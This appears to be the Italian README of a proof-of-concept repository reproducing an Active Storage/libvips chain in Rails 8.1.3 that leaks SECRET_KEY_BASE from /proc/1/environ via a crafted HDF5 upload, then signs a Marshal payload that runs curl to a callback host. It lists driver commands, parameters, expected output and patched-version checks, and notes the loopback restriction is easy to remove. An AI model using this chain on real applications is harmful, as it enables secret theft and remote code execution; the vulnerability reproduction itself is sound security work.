
PoC per CVE-2026-66066 in Ruby on Rails
Questa repository riproduce la catena di lettura file-to-RCE di Rails Active Storage descritta da GHSA-xr9x-r78c-5hrm contro Rails 8.1.3, la più recente release 8.1 affetta. Rails 8.1.3.1 è il controllo patchato.
Usala solo nel laboratorio locale usa-e-getta descritto qui. Il driver HTTP rifiuta target non-loopback (sebbene sia banale modificare il codice Python per test autorizzati su altri target).
Il target è un'applicazione Rails convenzionale. La sua immagine finale contiene:
ruby:3.4.10-slim;rails _VERSION_ new;curl, libjemalloc2, libvips e sqlite3;./bin/thrust ./bin/rails server; eUpload con un singolo allegato Active Storage, le ordinarie azioni HTML new, create e show, e una variante immagine PNG.Non contiene un builder di artefatti, artefatto di upload, driver di exploit, costruttore Marshal, codice di callback, endpoint diagnostico, tracing del loader, script di boot personalizzato, fixture di segreti del target o route solo-exploit. Non imposta VIPS_TRACE, non riordina l'ambiente di processo, non sovrascrive il serializer di Active Storage, né configura un processore di immagini non predefinito.
La .dockerignore radice invia al build solo Dockerfile e overlay/. Gli script Python lato host e tutti gli artefatti generati sono esclusi dal contesto di build Docker, non semplicemente omessi dal passaggio di copia finale.
L'overlay completo del target è costituito da cinque file ordinari:
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
La pagina show usa la minima trasformazione normale:
<%= image_tag @upload.avatar.variant(format: :png) %>
Una nuova applicazione Rails intatta non ha alcun modello o pagina applicativa che accetti un allegato, quindi quei cinque file sono la funzionalità applicativa minima necessaria per rappresentare la condizione di upload di immagini non fidate dell'advisory.
I prerequisiti sono Docker, OpenSSL, Python 3 e h5py per il builder dell'artefatto.
Nel terminale 1:
./run_lab.sh 8.1.3
Lo script costruisce minimal-rails-vips:8.1.3, genera un SECRET_KEY_BASE effimero a meno che non ne venga già fornito uno, pubblica l'applicazione solo su 127.0.0.1:3000 ed esegue l'entrypoint generato e il comando predefinito dell'immagine. Nel target non viene montata alcuna directory sorgente né artefatto.
Se la porta 3000 è già occupata, seleziona un'altra porta di loopback senza modificare l'immagine:
HOST_PORT=33020 ./run_lab.sh 8.1.3
Usa la stessa porta nel --target del driver.
Nel terminale 2:
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback
rails_vips_oast_poc.py è un builder e driver HTTP monouso. A meno che non venga fornito --artifact, costruisce l'upload in una directory temporanea privata, lo conserva per l'intera sequenza di richieste e lo rimuove quando il processo termina. Costruisce entrambi gli stadi invece di estrarre un payload statico:
h5py di creare un file MATLAB/HDF5 con un blocco utente di 512 byte.uint8 little-endian 1 × 1024 chiamato environment./proc/1/environ, offset zero, con un'estensione limitata di 1.024 byte.MATLAB_class="uint8" e scrive l'header MATLAB 5.0 usato dallo sniffer matload di libvips.Il programma RCE incorporato è fissato a /usr/bin/curl con un array di argomenti strutturato. Esegue una sola GET all'URL OAST configurato e invia solo il token di correlazione casuale rails_ghsa_xr9x. Non usa una shell e non include segreti recuperati, output di comandi, contenuti di file o un identificatore del target nel callback.
I parametri dell'artefatto sono:
--external-path: file assoluto lato target, default /proc/1/environ;--bytes: estensione esterna limitata da 128 a 4096, default 1024;--oast: URL base di callback incorporato nel payload; e--nonce: nonce esadecimale opzionale di 16 byte per un artefatto riproducibile.L'URL OAST predefinito è sicuro per il loopback. Fornisci un URL ricevitore raggiungibile dal container per la verifica end-to-end.
Per conservare l'upload generato per ispezione o riutilizzo, aggiungi un percorso dell'artefatto:
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback \
--artifact environment-read.bmp
Un --artifact esistente viene validato e riutilizzato. In quel caso, se fornito, --oast deve corrispondere al suo URL di callback incorporato. Aggiungi --force per ricostruirlo e sostituirlo atomicamente con i parametri correnti del builder.
Per la creazione dell'artefatto senza alcuna richiesta HTTP, il builder compagno è ancora disponibile:
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://YOUR-OAST-DOMAIN.example/callback
--target ha come default http://127.0.0.1:3000 ed è limitato al loopback letterale o a localhost.
L'output vulnerabile atteso include:
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
Fai corrispondere oast_nonce nel terminale con il parametro query rails_ghsa_xr9x=<nonce> ricevuto dal servizio OAST. L'HTTP 500 dalla richiesta di rappresentazione finale è atteso: il callback avviene mentre l'Hash Marshal autenticato viene ricostruito, prima che la trasformazione complessiva fallisca successivamente.
La parte builder richiede h5py; le parti HTTP e crittografiche usano solo la libreria standard di Python:
image/bmp, quindi carica i byte costruiti.matload non sottoposta a fuzzing. La PNG restituita espone i byte del dataset esterno, incluso il SECRET_KEY_BASE runtime.ActiveStorage, legge il payload Marshal già costruito dall'artefatto, lo firma per lo scopo variation e richiede l'URL di rappresentazione risultante./usr/bin/curl e produce il callback OOB cieco.Il target non fornisce alcun endpoint di supporto né gadget di firma. Le classi Ruby usate dal grafo serializzato provengono da dipendenze già risolte da un Gemfile rails new standard; l'applicazione non le richiede né le configura. L'elaborazione delle immagini rimane sul processore predefinito di Rails :vips per tutto il flusso.
Ferma il terminale 1 con Ctrl-C, poi esegui:
./run_lab.sh 8.1.3.1
Riesegui lo stesso comando del driver combinato. Se è stato conservato un artefatto, può essere riutilizzato passando lo stesso percorso --artifact. Il risultato con la versione patchata dovrebbe fermarsi a:
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500
Non viene restituito alcun pixel dell'ambiente, il payload incorporato non viene mai firmato né inviato e non avviene alcun callback OAST. Active Storage 8.1.3.1 abilita il blocco delle operazioni non fidate di libvips, quindi matload viene rifiutato.
La configurazione runtime finale dovrebbe essere quella generata:
docker image inspect minimal-rails-vips:8.1.3 \
--format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'
Atteso:
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"
Ispeziona l'unico script e conferma che i file del PoC siano assenti:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
find /rails/script -maxdepth 2 -type f -print
test ! -e /rails/payloads
test ! -e /rails/payload_builder.c
test ! -e /rails/config/master.key
'
L'unica voce di script è /rails/script/.keep creato dal generatore. Anche gli strumenti di build e le CLI opzionali dell'immagine restano fuori dal runtime:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
for tool in gcc h5cc vips vipsheader convert magick tesseract; do
command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
done
'
libvips è presente come libreria runtime condivisa anche se i suoi strumenti CLI non sono installati. Il grafo delle dipendenze standard di Debian fornisce il supporto collegato ai formati MAT/HDF5.
Dockerfile genera e impacchetta il target minimale standard..dockerignore impedisce ai file lato attaccante di entrare nel contesto di build.overlay/ contiene solo i cinque file normali dell'applicazione Rails.run_lab.sh costruisce e avvia il target senza eseguire il PoC.rails_vips_oast_poc.py costruisce l'immagine di lettura file HDF5 e il payload OOB configurabile, guida il normale flusso HTTP, recupera il segreto del verifier, firma il payload incorporato e lo attiva.